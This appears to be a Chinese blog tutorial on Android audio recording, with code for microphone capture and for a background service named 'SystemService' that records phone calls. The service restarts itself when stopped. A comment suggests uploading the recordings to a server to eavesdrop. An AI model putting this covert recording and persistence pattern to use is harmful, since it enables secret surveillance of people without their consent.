Android--录音
录音分为环境录音和通话录音。
环境录音:
public class audio {
private static MediaRecorder mMediaRecorder;
private static String fileName= "";
@SuppressLint("LongLogTag")
public static void startRecord() {
// 开始录音
/* ①Initial:实例化MediaRecorder对象 */
if (mMediaRecorder == null)
mMediaRecorder = new MediaRecorder();
try {
/* ②setAudioSource/setVedioSource */
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 设置麦克风
/*
* ②设置输出文件的格式:THREE_GPP/MPEG-4/RAW_AMR/Default THREE_GPP(3gp格式
* ,H263视频/ARM音频编码)、MPEG-4、RAW_AMR(只支持音频且音频编码要求为AMR_NB)
*/
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
/* ②设置音频文件的编码:AAC/AMR_NB/AMR_MB/Default 声音的(波形)的采样 */
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
fileName = DateFormat.format("yyyyMMdd_HHmmss", Calendar.getInstance(Locale.CHINA)) + ".m4a";
MakeFile.makeRootDirectory(Environment.getExternalStorageDirectory().getPath()+"/Android/audio/");
String filePath = Environment.getExternalStorageDirectory().getPath()+"/Android/audio/" + fileName;
/* ③准备 */
mMediaRecorder.setOutputFile(filePath);
mMediaRecorder.prepare();
/* ④开始 */
mMediaRecorder.start();
} catch (IllegalStateException e) {
Log.i("call startAmr(File mRecAudioFile) failed!" ,e.getMessage());
} catch (IOException e) {
Log.i("call startAmr(File mRecAudioFile) failed!", e.getMessage());
}
}
public static void stopRecord() {
try {
mMediaRecorder.stop();
mMediaRecorder.release();
mMediaRecorder = null;
} catch (RuntimeException e) {
Log.e("errp",e.toString());
mMediaRecorder.reset();
mMediaRecorder.release();
mMediaRecorder = null;
}
}
}
通话录音,在service里面,可以写守护进程:
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.io.File;
public class SystemService extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
//声明录音机
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 服务创建的时候调用的方法
*/
@Override
public void onCreate() {
// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空闲状态。
if(mediaRecorder!=null){
//8.停止捕获
mediaRecorder.stop();
//9.释放资源
mediaRecorder.release();
mediaRecorder = null;
//TODO 这个地方你可以将录制完毕的音频文件上传到服务器,这样就可以监听了
Log.i("SystemService", "音频文件录制完毕,可以在后台上传到服务器");
}
break;
case TelephonyManager.CALL_STATE_RINGING://零响状态。
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
//开始录音
//1.实例化一个录音机
mediaRecorder = new MediaRecorder();
//2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3.设置录制的文件输出的格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//4.指定录音文件的名称
File file = new File(Environment.getExternalStorageDirectory().getPath()+"/Android/audio/",System.currentTimeMillis()+".m4a");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5.设置音频的编码
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6.准备开始录音
mediaRecorder.prepare();
//7.开始录音
mediaRecorder.start();
break;
default:
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 服务销毁的时候调用的方法
*/
@Override
public void onDestroy() {
super.onDestroy();
// 取消电话的监听,采取线程守护的方法,当一个服务关闭后,开启另外一个服务,除非你很快把两个服务同时关闭才能完成
Intent i = new Intent(this,SystemService2.class);
startService(i);
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
}
}
权限:
<!--额外的权限-->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
Android 基于Aidl的跨进程间双向通信管理中心(类似于聊天室)
得益于最近有点时间和精力,我想起来了一件事。那就是在上家公司,公司要求做一个APP进程间的通信的功能,并不是APP对APP的直接跨进程通信,而是通过一个服务中心,做接收,然后,再转发,避免应用之间耦合性高,不然的话,新增一个APP,其他APP也要进行升级更新(类似于有服务中心的聊天室)。 我就花几个小时写点东西吧,顺便记录一下 大家都知道在Android设备上,有很多方式,比如,广播,socket,共享内存,aidl等,其中广播和aidl都是基于android中iBinder机制 广播: 广播有缺陷,就是效率不高,有时候会遇到广播丢失,或者说广播的队列过长,导致消息发送慢; 共享内存: 共享内存没有安全性可言,而且多线程读写数据的话,会无法控制 socket: socket耦合度较高,内存需要拷贝两次,适用于跨网络 AIDL: 基于binder,效率高;基于C/S架构,分层清晰,功能明确;有Linux的进程ID概念,更加安全等优点 流程图 很简单的架构,所有的APP消息传递都通过Server来做,工程结构如下,center(消息中心),app1,app2都依赖于lib(aidl接口库)...
-
下一篇
这多年来我一直在钻研的技术
我大学时代最爱玩的一个游戏,法老王-埃及艳后,这是一个以古代文明为背景的城市建设游戏。最近又捡起来玩了玩,还是那个味儿,倍爽。 上次有人说,听说tinyfool看到AlphaGo火了,马上去赶时髦学机器学习,结果真的获益匪浅。 我给大家介绍下,我从业10多年是怎么赶时髦的吧。 怎么赶上搜索技术的时髦 98年,第一次上网,也是第一次看到Google,那时候简直觉得Google就是天下第一的好东西。互联网是个无穷无尽的宝库。但是没有Google这把钥匙,你什么也不知道。 那时候,我就对搜索技术很感兴趣。一直在看各种技术文章,但是因为基础的问题,对各种文章的描述也不是很懂。01年,我根据一些自己的理解,写过一个原理性 的单字倒排搜索引擎,那时候,我连怎么做好中文分词都不了解。05年,看文章知道了Lucene,但是一直没有机会用,也没上过手。 08年做技术咨询的时候,客户想上一套搜索,方案公司的报价是20万。客户询问我们有没有解决方案,我当时觉得是个千载难逢的好机会,我就跟霍炬商量好,我们 试试看客户满意的话,未来还可以卖给别人。但是我们两个当时的技术路线思路不同,我看好Lucene,基于Ja...
相关文章
文章评论
共有0条评论来说两句吧...